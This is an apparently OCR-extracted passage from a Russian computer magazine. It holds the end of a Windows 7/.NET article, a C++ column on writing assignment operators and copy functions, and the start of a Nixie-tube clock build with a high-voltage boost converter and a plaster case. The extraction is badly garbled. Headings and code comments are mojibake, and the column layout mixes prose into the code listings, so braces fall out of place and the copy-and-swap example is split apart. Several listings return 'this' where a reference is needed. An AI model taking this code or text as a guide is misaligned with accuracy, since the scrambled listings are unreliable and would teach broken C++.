ЗАГРУЗКИHTTP://WWWlinksblogs.msdn.com/windev — русская версияблога «Windows 7for Developers».aspnetmania.com —сайт об ASP .NET.102объекта можно обращаться к любому члену класса, при этомне зная заранее, что это за класс (то есть, не зная типа).В .NET Framework 4.0 интегрированы WF и WCF, что упрощаетразработку ориентированных на службы приложений.WCF и WF — взаимодополняющие технологии. Для тех, кто сними незнаком, проще всего представить эту пару следующимобразом: WCF снаружи, WF внутри. WCF используетсядля предоставления внешнего интерфейса службы приложения,а WF — для описания внутреннего потока, состоянийи переходов приложения.Ранее .NET Framework 3.5 представила заманчивую возможностьотправки и получения WF. С помощью этих действийWF можно упростить процесс координации несколькихслужб для выполнения комплексных, долговременныхрабочих процессов..NET Framework 4.0 поставляется с усовершенствованнойбиблиотекой базовых действий, содержащей нескольконовых действий. «Майкрософт» также планирует предоставлятьдополнительные действия WF через CodePlexмежду крупными выпусками .NET Framework. А в будущихвыпусках (или в CodePlex) будет больше рабочих действий,с тем, чтобы уменьшить необходимость в разработкесобственных. Поскольку «Майкрософт» используетCodePlex, пользователям предоставляется хорошаявозможность донести, какие дополнительные действияони хотят видеть..NET Framework 4.0 также предоставляет некоторыеновые действия рабочей среды для вызова методов CLR(MethodInvoke), для выделения значений переменнымрабочего процесса (Assign) и для прямого сохранения работающегоэкземпляра рабочего процесса (Persist).ÇÀÊËÞ×ÅÍÈÅВ статье я не затронул и половины всех новых возможностей,которые представлены к услугам программиста вновой Windows 7.Эта операционная система предлагает столько новых функциональныхвозможностей, что голова идет кругом. И что-топодсказывает мне, мой друг, что пора, пора делать выбор впользу Windows 7! zXÀÊÅÐ 12 /132/ 09


CODINGDEEONIS DEEONIS@GMAIL.COMКОДЕРСКИЕТИПСЫ И ТРИКСЫÒðè ïðàâèëà êîäèíãà íà C++ äëÿ íàñòîÿùèõ ñïåöîâ ÏÐÎØËÎÌ ÍÎÌÅÐÅ ÌÛ ÑÍÎÂÀ ÍÀ×ÀËÈ ÇÍÀÊÎÌÈÒÜÑß ÑÍÅÁÎËÜØÈÌÈ ÒÐÞÊÀÌÈ È ÏÐÀÂÈËÀÌÈ ÊÎÄÈÍÃÀ ÍÀ C++.  ÝÒÎÉÑÒÀÒÜÅ ÌÛ ÏÐÎÄÎËÆÈÌ ÈÇÓ×ÀÒÜ ÏÎÄÂÎÄÍÛÅ ÊÀÌÍÈ ÝÒÎÃÎÎÁÚÅÊÒÍÎ-ÎÐÈÅÍÒÈÐÎÂÀÍÍÎÃÎ ßÇÛÊÀ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß. ÅÑËÈÒÛ ÕÎ×ÅØÜ ÏÈÑÀÒÜ ÏÎ-ÍÀÑÒÎßÙÅÌÓ ÊÀ×ÅÑÒÂÅÍÍÛÅ ÏÐÎÃÐÀÌÌÛ,ÒÎ ÎÁßÇÀÒÅËÜÍÎ ÏÐÎ×ÒÈ ÑËÅÄÓÞÙÈÅ ÏÀÐÓ ÑÒÐÀÍÈÖ.Сегодня мы поговорим об операторе присваиванияв языке C++. Казалось бы, чтотакого страшного может быть в этом маленькомзнаке «=»? А нет, даже тут великий СРРготовит нам свои сюрпризы. Итак, поехали.ÏÐÀÂÈËÎ ¹1Одно из интересных свойств присваиванияв C++ заключается в том, что его можновыполнять последовательно. Кроме того,оператор присваивания правоассоциативен.Что это значит? Продемонстрируемследующий код:ЧУДЕСНЫЙ ОПЕРАТОР ПРИСВАИВАНИЯint x,y,z;x = y = z = 15;// Ñòðîêà âûøå è ñòðîêà íèæå - âïðèíöèïå, îäíî è òî æå.// Ñêîáêè ïîêàçûâàþò ïîñëåäîâàòåëüíîñòüâûïîëíåíèÿ ïðèñâàèâàíèéx = (y = (z = 15));Здесь переменной z присваивается значение15, затем результат присваивания104XÀÊÅÐ 12 /132/ 09


(новое значение z) присваивается переменной y, после чего новоезначение y присваивается переменной x. Достигается это за счеттого, что оператор присваивания возвращает ссылку на свой левыйаргумент, и этому соглашению мы должны следовать при реализацииоператоров присваивания в своих классах.ОПЕРАТОР «=» В СВОИХ КЛАССАХclass Widget {public:...// Âîçâðàùàåìûé òèï — ññûëêà íà òåêóùèé êëàññWidget& operator=(const Widget& rhs){...// âîçâðàùàåì îáúåêò èç ëåâîé ÷àñòè âûðàæåíèÿreturn *this;}...};Это соглашение касается всех операторов присваивания, а не толькостандартной его формы. Так, например, для операторов += и = сприведением типа аргумента их определение будет выглядеть так:ОПРЕДЕЛЕНИЕ НЕСТАНДАРТНЫХ ОПЕРАТОРОВ ПРИСВАИВАНИЯclass Widget {public:...// Ñîãëàøåíèå ðàñïðîñòðàíÿåòñÿ íà +=, -= è ò.ä.Widget& operator+=(const Widget& rhs){...return *this;}// ýòî îòíîñèòñÿ äàæå ê ïàðàìåòðàì ðàçíûõ òèïîâWidget& operator=(int rhs){...return *this;}...};Это всего лишь соглашение и, если мы не будем его придерживаться,наша программа все равно будет скомпилирована. Но этомусоглашению следуют все встроенные типы и типы стандартнойбиблиотеки, такие как string, vector и т.д. Если у нас нет веской причинынарушать его, лучше этого и не делать.Из первого правила нам нужно запомнить, что оператор присваиванияследует писать так, чтобы он возвращал ссылку на *this.ÏÐÀÂÈËÎ ¹2Во втором правиле мы узнаем, что может случиться, если неосуществлять проверку на присваивание самому себе. НекоторыеXÀÊÅÐ 12 /132/ 09спросят: «Как такое возможно?». Можешь не сомневаться, вероятностьтакого присваивания очень высока. Следующий кусок кодапокажет разные ситуации, в которых присваивание самому себеосуществимо:ПОТЕНЦИАЛЬНОЕ ПРИСВАИВАНИЕ САМОМУ СЕБЕclass Widget {...};Widget w;...// î÷åâèäíîå ïðèñâàèâàíèå ñàìîìó ñåáåw = w;// à ýòî óæå ìåíåå î÷åâèäíîa[i] = a[j];*px = *py;Эти не совсем очевидные случаи присваивания себе являютсярезультатом так называемого совмещения имен (aliasing),когда на один и тот же объект ссылаются несколькими разнымиспособами. Программа, которая оперирует ссылками или указателямина объекты одного и того же типа, должна считатьсяс тем, что эти объекты могут совпадать. Необязательно даже,чтобы два объекта имели одинаковый тип. Если они принадлежатк одной иерархии классов, то ссылка или указатель набазовый класс могут в действительности относиться к производномуклассу.ЕЩЕ ОДНО ПРИСВАИВАНИЕ СЕБЕclass Base {...};class Derived: public Base {...};// rb è *pb ìîãóò áûòü îäíèì è òåì æå îáúåêòîìvoid doSomething(const Base& rb, Dereved *pb);Если мы будем писать объект для управления ресурсами, окотором я рассказывал в прошлой статье, то нам непременнопридется подумать о безопасности присваивания. Может сложитьсяситуация, в которой мы случайно освободим ресурс до егоиспользования. Предположим, что мы создали класс, который содержитуказатель на динамический объект класса Bitmap. Нижеприведена реализация оператора присваивания, которая напервый взгляд кажется совершенно нормальной, но становитсяопасной в случае присваивания самому себе или при возникновенииисключения.ОПАСНЫЙ OPERATOR=class Bitmap {...};class Widget {...private:Bitmap *pb;};105


CODINGWidget& Widget::operator=(const Widget& rhs){}delete pb;pb = new Bitmap(*rhs.pb);return *this;Альтернативой ручному упорядочиванию инструкций в operator=может быть обеспечение безопасности в контексте исключений иприсваивания самому себе за счет применения техники «копированияс обменом» («copy and swap»). Это достаточно распространенныйспособ написать оператор присваивания, и на него стоитвзглянуть:Проблема в том, что в теле operator= *this (чему присваиваетсязначение) и rhs (что присваивается) могут оказаться одним и темже объектом. В этом случае delete удалит не только старый Bitmap,принадлежащий текущему объекту, но и новый, который мы хотимприсвоить. В результате, по завершению выполнения кода операторамы получим в pb указатель на несуществующий объект, хотярассчитывали там увидеть совсем другое.Традиционный способ решить эту проблему состоит в том, чтобыв начале operator= выполнить проверку на присваивание самомусебе:«COPY AND SWAP»class Widget {…void swap(Widget& rhs);...}Widget& Widget::operator=(const Widget& rhs){Widget temp(rhs);ПРОВЕРКА НА ПРИСВАИВАНИЕ СЕБЕWidget& Widget::operator=(const Widget& rhs){// ïðîâåðêà íà ñîâïàäåíèåif (this == &rhs) return *this;}delete pb;pb = new Bitmap(*rhs.pb);return *this;Такая проверка позволяет избежать ошибки, описанной выше, ноесть еще проблема с безопасностью в контексте исключений. Например,выражение new Bitmap может вызвать исключение по причиненедостатка свободной памяти, или исключение возбудит конструкторкопирования Bitmap. При таком развитии событий Widget такжебудет содержать указатель на несуществующий Bitmap. Подобныеуказатели — главные причины того, что многие программисты проводятдолгие часы в компании отладчика. Но существует способсделать реализацию operator= одновременно безопасной в планеисключений и безопасной по части присваивания самому себе. Способдостаточно прост — надо лишь провести серию присваиваний вправильном порядке. Следующий кусок кода безопасен и в контекстеисключений, и в контексте присваивания себе:ПОЛНОСТЬЮ БЕЗОПАСНЫЙ КОДWidget& Widget::operator=(const Widget& rhs){Bitmap *pOrig = pb;pb = new Bitmap(*rhs.pb);delete pOrig;}swap(temp);return *this;Здесь оператор присваивания можно объявить как принимающийаргумент по значению, а передача объекта по значению — фактическисоздание копии этого объекта.Надо запомнить, что всегда следует убеждаться в правильностиповедения operator=, когда объект присваивается самому себе. Дляэтого можно сравнить адреса исходного и целевого объектов, аккуратноупорядочить инструкции или применить идиому копированияобменом. Также следует убедиться, что все функции, оперирующиеболее чем одним объектом, ведут себя корректно при совпаденииэтих объектов.ÏÐÀÂÈËÎ ¹3В хорошо спроектированных объектно-ориентированных программах,которые инкапсулируют внутреннее устройство объектов,копированием занимаются только две функции: операторприсваивания и конструктор копирования. Назовем их функциямикопирования. Если мы самостоятельно не определяем поведениеэтих функций, то компилятор сгенерирует их код за нас.Эти автоматически созданные функции ведут себя в точноститак, как мы это от них ожидаем — копируют все данные исходногообъекта.В случае, когда мы сами решаем написать код копирующих функций,компилятор снимет с себя всю ответственность и не будетследить за тем, насколько полно мы копируем данные объекта.Рассмотрим следующий код, который реализует класс, представляющийзаказчиков. Функции копирования в этом классе написанывручную, и каждый их вызов протоколируется:}return *this;Здесь мы просто не удаляем pb до тех пор, пока не скопируем то,на что он указывает. Теперь, если new Bitmap возбудит исключение,то pb (а также и объект Widget, которому он принадлежит)останется неизменным. Даже без проверки на совпадение здесьобрабатывается присваивание самому себе, так как мы сделаликопию исходного объекта Bitmap, удалили его, а затем направилиуказатель на сделанную копию. Кстати, применение такого подходав большинстве случаев оправдано также и с точки зрения производительности.А вот вопрос «почему так?», — и будет твоим домашнимзаданием.КЛАСС CUSTOMER// äåëàåò çàïèñü â ïðîòîêîëvoid logCall (const std::string& funcName);class Customer {public:…Customer (const Customer& rhs);Customer& operator= (const Customer& rhs);…private:std::string name;};106106 XÀÊÅÐ 12 /132/ 09


Customer::Customer (const Customer& rhs): name(rhs.name){logCall("Êîíñòðóêòîð êîïèðîâàíèÿ Customer");}Customer& Customer::operator=(const Customer& rhs){logCall("Êîïèðóþùèé îïåðàòîð ïðèñâîåíèÿCustomer");name = rhs.name;return this;}Все выглядит отлично. И на самом деле так оно и есть, до тех пор,пока мы не добавим в класс новый член. С этого момента существующиефункции копирования копируют только часть объекта.Большинство компиляторов не выдадут никакого предупреждения,даже на самом высоком уровне диагностики. Решение тут очевидно— надо переписать конструктор копирования и все операторы присваивания.Казалось бы, задача достаточно проста, и про обновлениекопирующих функций не вспомнит только дурень, но поверьмне, это не совсем так. Есть еще более коварные случаи проявлениятакой ситуации. Например, наследование:НАСЛЕДОВАНИЕ И КОПИРУЮЩИЕ ФУНКЦИИclass PriorityCustomer: public Customer {public:...PriorityCustomer (const PriorityCustomer& rhs);PriorityCustomer& operator= (const PriorityCustomer& rhs);...Для оператора присваивания PriorityCustomer ситуация ничутьне лучше. Он не выполняет попыток инициализировать данныечленыбазового класса, поэтому они остаются неизменными. Чтобырешить проблему, надо скопировать части базового класса. Обычноони находятся в закрытом разделе класса, поэтому копирующиефункции производного класса должны вызывать соответствующиефункции базового класса:ПРАВИЛЬНЫЕ КОПИРУЮЩИЕ ФУНКЦИИPriorityCustomer::PriorityCustomer(const PriorityCustomer& rhs)// âûçûâàåì êîïèðóþùèé êîíñòðóêòîð// áàçîâîãî êëàññà: Customer(rhs),priority(rhs.priority){logCall("Êîíñòðóêòîð êîïèðîâàíèÿ PriorityCustomer");}PriorityCustomer&PriorityCustomer::operator=(const PriorityCustomer& rhs){logCall("Êîïèðóþùèé îïåðàòîð ïðèñâîåíèÿPriorityCustomer");}// ïðèñâàèâàåì çíà÷åíèå äàííûì-÷ëåíàì// áàçîâîãî êëàññàCustomer::operator=(rhs);priority = rhs.priority;return this;private:int priority;};PriorityCustomer::PriorityCustomer(const PriorityCustomer& rhs): priority(rhs.priority){logCall("Êîíñòðóêòîð êîïèðîâàíèÿ PriorityCustomer");}PriorityCustomer& PriorityCustomer::operator=(const PriorityCustomer& rhs){logCall("Êîïèðóþùèé îïåðàòîð ïðèñâîåíèÿPriorityCustomer");priority = rhs.priority;return this;}На первый взгляд копирующие функции в классе PriorityCustomerобрабатывают все его члены, но на деле копируются толькоданные, объявленные в PriorityCustomer. Однако каждый объектPriorityCustomer содержит члены, унаследованные от Customer, аони-то и не копируются! Конструктор копирования PriorityCustomerне упоминает в своем списке инициализации члены Customer,поэтому эти данные будут инициализированы конструктором поумолчанию класса Customer.Часто код в конструкторе копирования и операторе присваиваниясовпадает, и может возникнуть желание использовать одну функциюв теле другой для предотвращения дублирования кода. Но янастоятельно не советую этого делать.Нет смысла вызывать конструктор копирования из оператораприсваивания, поскольку тем самым мы пытаемся создать объект,который уже существует. Попытка выполнить обратную операцию —из конструктора копирования вызвать оператор присваиваниятакже бессмысленна. Конструктор инициализирует новые объекты,а оператор присваивания работает с уже существующимиэкземплярами.Разумеется, есть способ избежать дублирования кода, и он достаточнопрост. Надо лишь создать закрытую функцию-член, котораябудет выполнять этот дублирующийся код. Конструктор копированияи оператор присваивания будут вызывать эту функцию в своемтеле.Из третьего правила надо запомнить, что копирующие функциидолжны гарантировать копирование всех членов-данных объекта ичастей его базовых классов. Не пытайся реализовать одну из функцийкопирования через другую. Вместо этого лучше создать общуюфункцию и поместить в нее нужную функциональность.ÇÀÊËÞ×ÅÍÈÅВроде бы, такие простые вещи, как присваивание и копирование,не должны иметь подводных камней. Однако программирование— дело не такое простое, как иногда кажется. Многие особенностиязыка C++ начинают всплывать, только если разрабатывать понастоящемусерьезные программы. zXÀÊÅÐ 12 /132/ 09 107


PHREAKINGWOODOCAT WOODOCAT@MAIL.RUÁÅÒÎÍÍÛÅ×ÀÑÛ ÍÅÎÍÎÂÀß ÕÎÐÎËÎÃÈßÊÀÊ ÂÛÃËßÄÈÒ ÁÎËÜØÈÍÑÒÂÎ ÑÎÂÐÅÌÅÍÍÛÕ ÝËÅÊÒÐÎÍÍÛÕ×ÀÑÎÂ? ËÅÃÊÎ ÏÐÅÄÑÒÀÂÈÒÜ — ÏËÀÑÒÌÀÑÑÎÂÛÉ ÊÎÐÏÓÑ,ÑÅÃÌÅÍÒÍÛÅ ÖÈÔÐÛ ÍÀ ÑÅÐÎÌ ÆÊ-ÒÀÁËÎ... ÈËÈ ÑÂÅÒßÙÈÅÑßÍÀ ÑÂÅÒÎÄÈÎÄÍÎÌ. ÁÅÇ ÐÀÇÍÈÖÛ — ÂÑÅ ÎÍÈ Î×ÅÍÜ ÎÁÛÄÅÍÍÛ ÈÏÎÕÎÆÈ ÄÐÓà ÍÀ ÄÐÓÃÀ, ÊÀÊ ÄÂÅ ÊÀÏËÈ ÂÎÄÛ. ÄËß ÈÇÃÎÒÎÂËÅÍÈßÍÀØÈÕ ×ÀÑΠÌÛ ÎÁÐÀÒÈÌÑß Ê ÝÏÎÕÅ ÊÈÁÅÐÍÅÒÈÊÈ, È ÑÄÅËÀÅÌÈÕ ÏÎ ÑÀÌÛÌ ÍÅÑÎÂÐÅÌÅÍÍÛÌ ÒÅÕÍÎËÎÃÈßÌ!ÍÅÎÍÎÂÛÅ ÈÍÄÈÊÀÒÎÐÛПрототипы неоновых индикаторов, всемирно известных как NIXIE, былиразработаны в небольшой лаборатории производителя электровакуумныхприборов Haydu Brothers Laboratories, которую впоследствиивыкупила фирма Burroughs Corporation вместе с принадлежащей ейторговой маркой NIXIE. А в 1954 году индикаторы были представлены нарынок. Название NIXIE было получено из аббревиатуры «NIX I» (NumericIndicator eXperimental No. 1), и прочно укрепилось в обиходе для обозначениянеоновых газоразрядных индикаторов.Надо заметить, что первые серийные индикаторы появились еще в1930-х годах, но в то время их применение было сильно ограниченогрубой конструкцией самих приборов и еще не достаточно развитойэлементной базой. А самые первые приборы индикации, работающие наоснове принципа тлеющего разряда, были запатентованы в 1920 году,когда после изобретения радиоламп началось мощное и интенсивноеизучение электрических процессов в вакууме и сильноразреженныхгазах.ÏÐÈÍÖÈÏ ÐÀÁÎÒÛ NIXIEНеоновые индикаторы — это газоразрядные приборы низкого давления,работающие на основе процессов тлеющего разряда. Прежде чемприступить к объяснению принципа работы газоразрядных приборов,рассмотрим процесс прохождения электрического тока в газе.Под действием сильного электрического поля с атомов инертного газасрываются электроны, которые устремляются к аноду, а оставшиесяположительно заряженные ионы направляются к катоду. Этот процессназывается пробоем газового столба. Затем, в результате интенсивнойбомбардировки катода положительными ионами, начинается вторичнаяэлектронная эмиссия, и возникает устойчивый тлеющий разряд.Одновременно с процессом ионизации газа происходит и обратное108явление, при котором ионы превращаются в нейтральные атомы.Превращение ионов газа в нейтральные атомы называется рекомбинацией;при этом выделяется энергия, под действием которой происходитсвечение ионизированного газа.Непосредственно к катоду 1 примыкает тонкое, толщиной в доли миллиметра,астоново темное пространство 2. Здесь электроны, выбитые изкатода, еще не успели приобрести скорости, достаточные для возбужденияатомов газа, поэтому в этой области свечения нет. Далее идетсветящаяся пленка 3, в которой разогнанные электроны возбуждают,но еще не ионизируют атомы инертного газа. Возбужденные атомыиспускают кванты света с характерным для этого газа цветом свечения.Так, тлеющий разряд в неоне сопровождается интенсивным краснооранжевымсветом.Затем следует темное катодное пространство 4, в котором начинаютсяпроцессы ионизации атомов, а также нарастают электронные лавины.Образовавшиеся в этой области положительные ионы несутся назад,бомбардируя катод и вызывая вторичную электронную эмиссию.Большое количество быстрых лавинных электронов атакует следующийслой. Начинается он резкой светящейся границей и называется областьютлеющего свечения 5. Здесь происходит рекомбинация электронов сположительными ионами.Тлеющее свечение постепенно переходит в фарадеево темноепространство 6, куда быстрые электроны, рожденные электроннымилавинами, уже не долетают. За этим пространством следует положительныйстолб разряда 7, занимающий всю оставшуюся область до анода8 и светящийся благодаря процессам рекомбинации. Напряжение,при котором образуется тлеющий разряд, называется напряжениемзажигания. Зависит оно от множества факторов, таких как состав газа,давление, расстояние между электродами, их материал и форма.В основу работы газоразрядных индикаторов положено явление светя-XÀÊÅÐ 12 /132/ 09


ИНДИКАТОР ИН-1, ОБЩИЙ ВИД ИСХЕМА ОБОЗНАЧЕНИЯПРИНЦИП РАБОТЫ ПОВЫШАЮЩЕГОПРЕОБРАЗОВАТЕЛЯщейся пленки около катода. Неоновый индикатор представляет собойстеклянную колбу с набором запаянных в нее электродов, наполненнуюразряженным неоном. Анод изготавливается в виде стакана, накрытогосеткой, и на него подается положительное потенциал. Катоды в видепроволоки сформированы в одну из десяти арабских цифр и помещенывнутрь стакана. Если на один из катодов подать отрицательный потенциал,инертный газ начинает светиться вокруг проволоки. Технологическидавление внутри баллона подобрано так, чтобы свечение получалосьравномерным и ярким. Таким образом, подавая напряжение на один изкатодов, можно «высвечивать» любую цифру от 0 до 9.XÀÊÅÐ 12 /132/ 09ÈÑÒÎ×ÍÈÊ ÏÈÒÀÍÈß ÄËß NIXIEДля зажигания газа требуется высоковольтный источник питания. У разныхтипов ламп напряжение зажигания может быть разным, но для всехнеоновых индикаторов оно лежит в пределах 150-200 В. Раньше такоенапряжение снимали со вторичной обмотки габаритного и увесистоготрансформатора, который одновременно питал и низковольтную частьприбора, но сейчас достать такой специфичный трансформатор становитсявесьма проблематично.С помощью современной электронной базы можно создать малогабаритныйпреобразователь, с меньшей стоимостью и более высокимКПД, который элементарно разместится в плоскости основной платы.Все устройство может питаться от низковольтного источника питания,например, готового импульсного блока питания, а высокое напряжениедля NIXIE будет получаться штатно непосредственно из низковольтного.Такой же принцип питания используется в ЖК-дисплеях и многих другихсовременных бытовых приборах. Разберемся в принципе работы повышающегопреобразователя.Повышающий преобразователь состоит из источника питания B, дросселяL, ключа SW, диода VD, накопительного конденсатора С и нагрузочногосопротивления R.При замыкании ключа SW (обозначено красным) дроссель L окажетсянапрямую подключенным к источнику питания. В силу инерционностидросселя (фундаментальное свойство индуктивности) ток не можетувеличиться скачкообразно, а будет нарастать линейно, при этом будетпроисходить накопление энергии магнитного поля. Напряжение в точкесоединения диода VD и дросселя L равно нулю, поэтому диод закрыт.Подачу тока в это время в нагрузку обеспечивает конденсатор С.При размыкании ключа SW (обозначено синим) ток не может мгновенноуменьшиться, опять же в силу инерционности дросселя, и поэтомупродолжает течь. Напряжение на катушке мгновенно увеличивается доуровня, обеспечивающего протекание тока. В теории — хоть до бесконечности,в реальности же произойдет искровой разряд через воздух.Но дроссель слева подключен к источнику питания, а справа через диодк накопительному конденсатору с уже имеющимся некоторым зарядом.Таким образом, нарастание напряжения продолжится с напряжения,имеющегося на конденсаторе. Ток в дросселе при этом будет линейноуменьшаться, а напряжение на конденсаторе расти.Величина напряжения в пике зависит от нескольких факторов: индуктивностидросселя, длительности открытого, закрытого состояния ключаи скорости его выключения. Величина пульсаций этого напряжения какпараметр качества питания, в свою очередь, зависит от: емкости конденсатора,частоты работы ключа и тока потребляемого нагрузкой.Важно, чтобы ни при каких обстоятельствах сердечник дросселя непереходил в насыщение. Если это происходит, то дроссель уже не всостоянии накапливать энергию магнитного поля, а сопротивление егопо постоянному току становится крайне мало. Это означает, что в насыщениимощный дроссель превращается в простой проводник, которыйзамыкает через ключ источник питания. В результате КПД устройстварезко падает, а ключ и источник питания сильно разогреваются. Вконечном счете, это приводит к выходу из строя ключа или источника питания.Чтобы этого не произошло, нужно правильно выбрать параметрыпреобразователя.Итак, перед нами одна из тысяч схем повышающих преобразователей.Хочется сразу обратить внимание, что схема несколько нестандартна.Обычно для управления силовым ключом используется специальныйШИМ-контролер, например, МС34063. Здесь используется универсальныйаналоговый таймер NE555, а управление и стабилизацияреализована с помощью частотной модуляции [1]. Интересно заметить,что многие специализированные микросхемы ШИМ-контролеров всвоем сердце имеют все тот же универсальный таймер. Разберемся, какработает преобразователь.Таймер NE555 включен как мультивибратор по стандартной схеме. ЦепочкойR5R6C4 определяется частота и скважность импульсов. Таймеробеспечивает работу повышающего преобразователя L1VT1VD1C3. Нарезисторах R1R2R3 собран делитель напряжения, который вместе с VT2и R4 образуют цепь обратной связи. Вывод CONTR-таймера позволяетполучить доступ к опорному напряжению компаратора. Если транзисторVT2 начинает открываться, то это приведет к притягиванию внутреннегоопорного напряжения к земле, вследствие чего увеличивается частотагенерации. Увеличение частоты при неизменных остальных элементахприводит к уменьшению выходного напряжения. Это легко видно изуравнения баланса накопленной и расходуемой энергии [1].В качестве ключа используется IRF830 с максимальным напряжением500 В, максимальным током 4 А и сопротивлением канала 1,5 Ом. Диодвысокочастотный FR04 с обратным напряжением 400 В. Дроссель — 100мкГн, рассчитанный на ток не менее 4 А. Для IRF830 требуется также небольшойрадиатор, так как в пике через него проходит весьма солидныйток.В цепи обратной связи используется высоковольтный транзистор BF487,с максимальным напряжением коллектор-эмиттер 400 В. На самомделе, нет строгой необходимости использовать именно этот транзистор.Вместо него подойдет и любой другой низковольтный маломощныйтранзистор структуры n-p-n, например, BC547. Но эта схема не имеетникаких цепей и средств защиты от коротких замыканий или перегрузок.В повышающих преобразователях без серьезного усложнения ивмешательства в основную цепь питания невозможно реализоватьтакую защиту. Как показала практика, нестандартные ситуации, имею-109


PHREAKINGСХЕМА ПОВЫШАЮЩЕГО ПРЕОБРАЗОВАТЕЛЯ НАNE555щие место в основном на этапе макетирования и отладки, приводят квысоковольтному выбросу и выходу из строя именно этого транзистора,поэтому его применение оправдано.В качестве повышающего преобразователя можно использовать идругую схему, скажем, на той же MC34063, но описанная выше — самаяпростая и неприхотливая. К тому же, трудностей с доставанием NE555 поопределению быть не может, это очень распространенная микросхема.Подробнее о методике расчета импульсных источников питания читай вкниге Раймонда Мэка «Импульсные источники питания. Теоретическиеосновы проектирования и руководство по практическому применению».ÓÏÐÀÂËÅÍÈÅ NIXIEИтак, в нашем распоряжении — 4 газоразрядных индикатора ИН-1 и 2неоновые лампочки ИН-3 в качестве мигающих точек, а также источникпитания для всего этого. Осталось на каждом индикаторе зажечь цифрув соответствии с текущим временем, то есть один из десяти электродовкаждой лампы замыкать на землю. Можно использовать 40 маломощныхвысоковольтных транзисторов, а можно сделать по-другому...В свое время, специально для работы с газоразрядными индикаторами,была разработана микросхема SN74141 (отечественный аналогК155ИД1). Она представляет собой дешифратор двоично-десятичногокода в десятичный, который позволяет преобразовать четырехразрядныйкод, поступающий на входы А0-А3, в напряжение низкого логическогоуровня, появляющееся на одном из десяти выходов 0-9. Каждыйдесятичный выход снабжен высоковольтным транзистором с открытымколлектором. Другими словами, катоды неоновых индикаторов можнонапрямую подключать к одноименным выводам этой микросхемы.Управление самим индикатором сводится к подаче двоичного кодазажигаемой цифры на четыре адресные линии дешифратора.Несмотря на то, что это очень олдскульная микросхема, в бывшем СССРих, а также сами индикаторы серии ИН, выпускали вплоть до 87 года (!), вто время как за рубежом от них давно отказались. Поэтому во всем миреэто «советское добро» сейчас достать легче, чем брендовые аналоги.Кроме того, стоимость таких четырех микросхем не сравнится со стоимостьючетырех десятков высоковольтных транзисторов (40 руб. против400).В качестве управляющего контролера выбран AVR-микроконтроллерATtiny26 фирмы ATMEL. Описание принципа работы и архитектуры этихмикроконтроллеров не входит в рамки статьи — по теме есть огромноеколичество информации. Строго говоря, для наших целей лучше быподошел ATmega8. Но рассмотрим другой вариант, к тому же не уступающийв цене.Для управления индикаторами нам нужно 16 выводов (4 индикаторапо 4 линии), еще один вывод нужен для мигающих точек, два будутзадействованы для кварца, и еще два вывода потребуется для кнопок.Итого — 21 вывод. Для наращивания недостающих выводов используемвнешний 8-битный регистр-защелку SN74LS373 (отечественный аналогКР1533ИР22), и подключим его параллельно основному порту A, а одинвывод с порта B используем для фиксации. Индикаторы подключаютсяпарами — одна пара к регистру-защелке, другая к контроллеру.Теперь для установки всех четырех цифр на неоновых индикаторахнужно выполнить следующую последовательность: 1) установить110ПОДКЛЮЧЕНИЕ ИНДИКАТОРА ИН-1 К МИКРОСХЕМЕК155ИД1на выводе STB регистра-защелки лог. 1.; 2) записать в порт A кодыединиц и коды десятков часов; 3) установить на выводе STB лог.0, тем самым, зафиксировать данные в нем; 4) записать в порт Aкоды единиц и коды десятков минут. Вся эта последовательностьвыполнится микроконтроллером за несколько микросекунд.Блок питания выполнен по классической схеме. В качестве сетевоготрансформатора используется компактный 7-ватный ТТП-110. С выпрямителя BD1С1С2 нестабилизированное напряжение12 В подается на повышающий преобразователь и линейныйстабилизатор L7805, обеспечивающий питанием цифровую частьсхемы. Все остальные блоки, за исключением самих индикаторов,установка которых планируется на переднюю панель, размещенына одной односторонней печатной плате. Кнопки настройки иустановки часов будут расположены на задней панели вместе сразъемом питания и конструктивно объединены с ISP-разъемомпрограммирования микроконтроллера.Полный вариант схемы с рисунком печатной платы, фотошаблонами,исходниками и готовой прошивкой ищи на диске.ÊÎÐÏÓÑ ÄËß NIXIEИзготовив такие часы на старомодных неоновых индикаторах, несолиднобыло бы поместить их в какую-нибудь банальную пластиковуюкоробку. ИН-1 — это первые отечественные газоразрядныеиндикаторы из эпохи кибернетики. Почти все они кривые, косые ивыполнены весьма брутально, поэтому требуют соответствующегокорпуса… в идеале, из черного бакелита с палец толщиной, илииз бетона, как, например, у часов NIXIE Concrete Clock. У ДаниеляКурта это был всего лишь концепт, мы же превратим его в жизнь!Поскольку корпус претендует на право быть фундаментальным, тои делать мы его будем по всем правилам изготовления фундаментов.Настоящий бетон мы использовать, конечно, не будем. Это неразумно,ведь время его схватывания составляет несколько дней, аполную прочность он набирает только через месяц. Вместо бетонамы будем использовать строительный гипс (алебастр). Работатьс ним гораздо проще, смесь отвердеет за 10 минут, и будет иметьровную поверхность с шероховатой фактурой, приятной на ощупь.Отливка корпуса производится поэтапно — каждая сторона отдельно.Для этого требуется большой кусок стекла и несколько полосиз жести. Стекло служит основой, а полосы опалубкой. Полосы,толщиной около 0,5 мм, скрепляются по углам плоскими магнитамис внешней стороны, таким образом, получается легкоразбор-XÀÊÅÐ 12 /132/ 09


БЕЗ ОСОБЫХ ФИНАНСОВЫХ ЗАТРАТ МОЖНО СТАТЬОБЛАДАТЕЛЕМ КАМЕННЫХ ЧАСОВ ИЗ ЭПОХИ КИ-БЕРНЕТИКИОПАЛУБКА И ОТЛИВКА ВТОРОЙ СТЕНКИная конструкция многоразового применения.Сначала на листе бумаги размечается геометрия заготовки,после чего лист кладется под стекло. Затем по линиям будущихграниц «крышки» подгоняется жестяная опалубка. После этогоразводится гипс до консистенции жидкой сметаны и заливается вполученную форму. Время загустевания всего 2-3 минуты, поэтомуработать нужно очень быстро и точно. С помощью шпателя смесьразравнивается по всей форме. Через 7-10 минут происходитотвердевание гипса. Заготовка становится теплой и прочной.Теперь опалубка разбирается и можно приступать к отделениюзаготовки от стекла. Так мы получили только одну стенку. Формированиеостальных стенок корпуса проводится таким же образом.Первым делом необходимо примерить уже имеющуюся заготовкук вновь сформированной жестяной опалубке следующей стороныбудущего корпуса, чтобы оналегко туда вставлялась, а стенкиопалубки прилегали плотно.Сначала заливается гипсоваясмесь, а потом уже вставляетсязаготовка, причемзаготовка должна отлежатьсяеще минут 10 — иначе ровныхстыков не получить.Пока гипс теплый и мокрый,еще не набрал полную прочностьи его легко соскребать,надо быстро удалитьвсе излишки. Если междусторонами имеются «щели»или при заливке образоваласьраковина, то после полногозатвердевания корпуса ихлегко «залечить» с помощьюшпателя, сухой смеси 